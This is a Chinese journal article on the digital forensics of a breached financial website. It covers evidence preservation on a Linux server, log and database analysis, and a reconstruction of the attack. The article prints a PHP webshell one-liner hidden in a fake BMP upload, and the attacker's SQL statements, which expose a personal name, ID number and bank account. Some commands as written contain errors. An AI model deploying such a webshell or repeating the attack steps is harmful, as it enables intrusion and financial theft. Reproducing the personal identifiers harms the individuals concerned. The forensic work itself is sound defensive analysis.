◆錢(qián)志高
(上海弘連網(wǎng)絡(luò)科技有限公司 上海 201101)
某金融網(wǎng)站稱(chēng):其注冊(cè)會(huì)員的賬戶(hù)內(nèi)的財(cái)產(chǎn),在用戶(hù)不知情的情況下被提現(xiàn),但網(wǎng)站查證后發(fā)現(xiàn)并不是用戶(hù)自身所為。值得注意的是,提現(xiàn)過(guò)程中使用的銀行卡并非是用戶(hù)名下真實(shí)存在的銀行賬戶(hù)。根據(jù)現(xiàn)有信息推測(cè),其計(jì)算機(jī)可能被非法入侵,網(wǎng)站數(shù)據(jù)被篡改,損失達(dá)上百萬(wàn)。
數(shù)據(jù)固定是分析的前提,在固定過(guò)程中要兼顧數(shù)據(jù)原始性、完整性、可復(fù)現(xiàn),可控制的原則。以下對(duì)該Linux 服務(wù)器的固定過(guò)程進(jìn)行詳細(xì)描述。
網(wǎng)站部署在阿里云上,使用的是Linux 操作系統(tǒng),受害者提供了被入侵計(jì)算機(jī)的IP 和登錄憑據(jù),如圖1 所示:
圖1 被入侵計(jì)算機(jī)的IP 和登錄憑據(jù)
執(zhí)行“history > history.log”導(dǎo)出歷史命令;
執(zhí)行“l(fā)ast > last.log”導(dǎo)出登錄相關(guān)信息;
執(zhí)行“l(fā)astb > lastb.log”導(dǎo)出登錄失敗信息;
執(zhí)行“l(fā)astlog > lastlog.log”導(dǎo)出所有用戶(hù)的最后一次登錄信息;
執(zhí)行“tar czvf /var/log varlog.tar.gz”將/var/log 整個(gè)目錄打包;
執(zhí)行“ps -AUX > ps.log”導(dǎo)出進(jìn)程信息;
執(zhí)行“netstat -atunp > netstat.log”導(dǎo)出網(wǎng)絡(luò)連接信息;
(1)目錄固定
根據(jù)網(wǎng)站應(yīng)用配置文件可知,網(wǎng)站目錄為“/www/c****i”,執(zhí)行“tar czvf /www/c*****i www.c*****i.com.tar.gz”將網(wǎng)站目錄保存;
(2)訪(fǎng)問(wèn)日志固定
根據(jù)網(wǎng)站應(yīng)用配置文件可知,訪(fǎng)問(wèn)日志保存位置在:“/etc/httpd/logs”,執(zhí)行“tar czvf /etc/httpd/logs accesslog.tar.gz”將網(wǎng)站訪(fǎng)問(wèn)日志保存。
為了確保日志的完整性,執(zhí)行此命令前應(yīng)該停止網(wǎng)站應(yīng)用進(jìn)程,否則日志文件會(huì)因網(wǎng)站應(yīng)用進(jìn)程鎖定日志而無(wú)法讀取。
(1)數(shù)據(jù)表固定
在網(wǎng)站目錄內(nèi)找到數(shù)據(jù)庫(kù)連接配置文件,將網(wǎng)站數(shù)據(jù)庫(kù)導(dǎo)出為“database.sql”。
(2)數(shù)據(jù)庫(kù)日志固定
根據(jù)Mysql 數(shù)據(jù)庫(kù)配置信息,將所有日志文件進(jìn)行提取固定。
固定工作完成后,首先對(duì)固定的基本信息進(jìn)行分析,未發(fā)現(xiàn)明顯異常,排除暴力破解系統(tǒng)用戶(hù)登錄的入侵方式。
(1)網(wǎng)站重構(gòu)
安裝Apache、PHP 和Mysql,將固定的數(shù)據(jù)導(dǎo)入,使用Web 瀏覽器訪(fǎng)問(wèn)后,網(wǎng)站首頁(yè)成功展示。
(2)WebShell 掃描
使用WebShell 分析工具執(zhí)行掃描,在網(wǎng)站目錄下發(fā)現(xiàn)一個(gè)名為“upload****.php.bmp”的疑似網(wǎng)頁(yè)木馬的文件。
(3)WebShell 分析
使用編碼工具查看該文件后,發(fā)現(xiàn)存在以下代碼
“<?php @assert(base64_decode($_POST[h3len]))?>”
其含義是對(duì)post 提交的h3len 變量中的內(nèi)容執(zhí)行 base64 解碼。
根據(jù)文件修改時(shí)間查找近似的文件,定位到符合條件的php 代碼頁(yè)“adminer.php”,打開(kāi)發(fā)現(xiàn)此頁(yè)面的功能為數(shù)據(jù)庫(kù)管理器,可以執(zhí)行數(shù)據(jù)庫(kù)管理動(dòng)作,如圖2。
圖2 數(shù)據(jù)庫(kù)情況
通常情況下,網(wǎng)站管理員并沒(méi)有在Web 頁(yè)上修改數(shù)據(jù)庫(kù)的需求,結(jié)合文件創(chuàng)建時(shí)間分析,可以確定此頁(yè)面是入侵者為了遠(yuǎn)程操控?cái)?shù)據(jù)庫(kù)而特意留下的接口。
接下來(lái)從網(wǎng)站的訪(fǎng)問(wèn)日志入手,在日志中篩選出所有“adminer.php”頁(yè)面的訪(fǎng)問(wèn)記錄,并統(tǒng)計(jì)所有“adminer.php”頁(yè)面訪(fǎng)問(wèn)記錄中出現(xiàn)的“user_id”,得到4 個(gè)用戶(hù)的ID:
“$ grep -E -i -o "user_id%5d=[e-9]{1,8} "adminer.php. exclude.alibaba.log | sort | uniq
user_id%5D=1392
user_id%5D=1679
user_id%5D=2613
user_id%5D=6248”
根據(jù)網(wǎng)站訪(fǎng)問(wèn)日志分析結(jié)果可知,來(lái)自不同IP 地址的訪(fǎng)問(wèn)者,利用數(shù)據(jù)庫(kù)管理接口訪(fǎng)問(wèn)過(guò)多個(gè)數(shù)據(jù)表內(nèi)容,但無(wú)法確認(rèn)是否執(zhí)行了修改動(dòng)作。需要結(jié)合數(shù)據(jù)庫(kù)以及其日志來(lái)確認(rèn)入侵者具體進(jìn)行了哪些行為。
(1)篩選受影響用戶(hù)信息
首先使用SQL 語(yǔ)句查詢(xún)相關(guān)表,篩選受影響用戶(hù)信息然后篩選用戶(hù)提現(xiàn)記錄(圖3);
圖3 篩選用戶(hù)信息
(2)其次篩選4 個(gè)涉案user_id 操作日志,節(jié)選部分日志如下:
update `dw_user` set password='827ccb0eea8a706c4c34a16 891f84e7b',
paypassword='827ccb0eea8a706c4c34a16891f84e7b',realna me='康靜',sex='2',card_id='630104197409032543',
--更新用戶(hù)2613 信息(dw_user 表)
update `dw_account_cash` set bank=302,
account='6217000010048063385',branch='北京豐臺(tái)萬(wàn)年花城支行' where user_id=2613 --更新用戶(hù)2613 銀行卡提現(xiàn)信息(dw_account_cash 表) delete from dw_account_log where user_id=2613 AND i d>81869
--刪除用戶(hù)2613 的歷史提現(xiàn)記錄(dw_account_log 表)
insert into `dw_account_log` set `addtime` = '142768068 0',`addip` = '101.81.103.24',`user_id` = '2613',`type` = 'recharg e_success',`money` = '101675.00',`total` = '0',`use_money` = '0.00',`no_use_money` = '0',`collection` = '0.00',`to_user` = '0',`re mark` = '提現(xiàn)成功'
--插入一條提現(xiàn)申請(qǐng)記錄 通過(guò)上述4 條操作記錄可以看出,嫌疑人通過(guò)修改數(shù)據(jù)庫(kù)中用戶(hù)信息、提款人銀行卡信息,再通過(guò)系統(tǒng)提現(xiàn)功能將錢(qián)轉(zhuǎn)入嫌疑人設(shè)定的銀行卡中。
至此,入侵后對(duì)數(shù)據(jù)庫(kù)執(zhí)行的操作已經(jīng)明確,嫌疑人相關(guān)信息和涉案銀行卡也已水落石出。
根據(jù)數(shù)據(jù)分析環(huán)節(jié)結(jié)果,接下來(lái)對(duì)整個(gè)入侵過(guò)程進(jìn)行還原。
入侵者首先利用網(wǎng)站的文件上傳漏洞,將含有惡意內(nèi)容的PHP 代碼頁(yè),修改文件頭部,偽裝成BMP 圖片,成功繞過(guò)網(wǎng)站代碼檢測(cè)機(jī)制,并上傳至網(wǎng)站的目錄下;
在網(wǎng)站對(duì)應(yīng)目錄找到上傳成功的惡意代碼文件“uploaddyp2p.php.php”,可見(jiàn)上傳行為有效;
使用“chopper”工具連接此網(wǎng)站內(nèi)的惡意代碼頁(yè),連接成功后使用集成的文件管理器成功打開(kāi)網(wǎng)站所在計(jì)算機(jī)的根目錄,并獲得管理權(quán)限;
使用“chopper”工具集成的文件管理器,上傳數(shù)據(jù)庫(kù)管理器代碼頁(yè)“adminer.php”,讀取數(shù)據(jù)庫(kù)連接配置文件“/data/www/c*****i/dbconfig.php”,取得數(shù)據(jù)庫(kù)權(quán)限(圖4);
圖4 獲取數(shù)據(jù)庫(kù)權(quán)限
訪(fǎng)問(wèn)“adminer.php”頁(yè),篡改數(shù)據(jù)庫(kù)數(shù)據(jù),綁定銀行卡;
訪(fǎng)問(wèn)提現(xiàn)頁(yè),執(zhí)行提現(xiàn)操作,成功將用戶(hù)財(cái)產(chǎn)非法獲取。
本文通過(guò)數(shù)據(jù)固定、網(wǎng)站重構(gòu)、日志分析和入侵還原等取證方法,客觀(guān)地重現(xiàn)了一次Linux 計(jì)算機(jī)入侵事件。入侵者使用成熟的入侵手段,一步一步將對(duì)方計(jì)算機(jī)掌控,極大的危害了公共計(jì)算機(jī)的安全,使受害者蒙受了巨大的損失。
計(jì)算機(jī)安全防護(hù),尤其是公共計(jì)算機(jī)的安全防護(hù),向來(lái)都是一項(xiàng)復(fù)雜的工程,涉及技術(shù)、設(shè)備、管理和制度等多方面的因素,單一的防護(hù)技術(shù)都有其局限性。需要綜合各種計(jì)算機(jī)網(wǎng)絡(luò)信息系統(tǒng)安全技術(shù),將病毒防護(hù)技術(shù)、入侵檢測(cè)技術(shù)、安全掃描技術(shù),入侵預(yù)警技術(shù)等結(jié)合起來(lái),才能形成一套完整的、協(xié)調(diào)一致的網(wǎng)絡(luò)安全防護(hù)體系。
在網(wǎng)絡(luò)安全防護(hù)中,最關(guān)鍵的因素是人。我們不能僅依靠殺毒軟件、防火墻、漏洞檢測(cè)等設(shè)備的防護(hù),安全保護(hù)的對(duì)象是計(jì)算機(jī),而安全保護(hù)的主體則是人,應(yīng)重視樹(shù)立人的計(jì)算機(jī)安全意識(shí),提高網(wǎng)絡(luò)安全,降低事故發(fā)生,任重而道遠(yuǎn)。
網(wǎng)絡(luò)安全技術(shù)與應(yīng)用2020年4期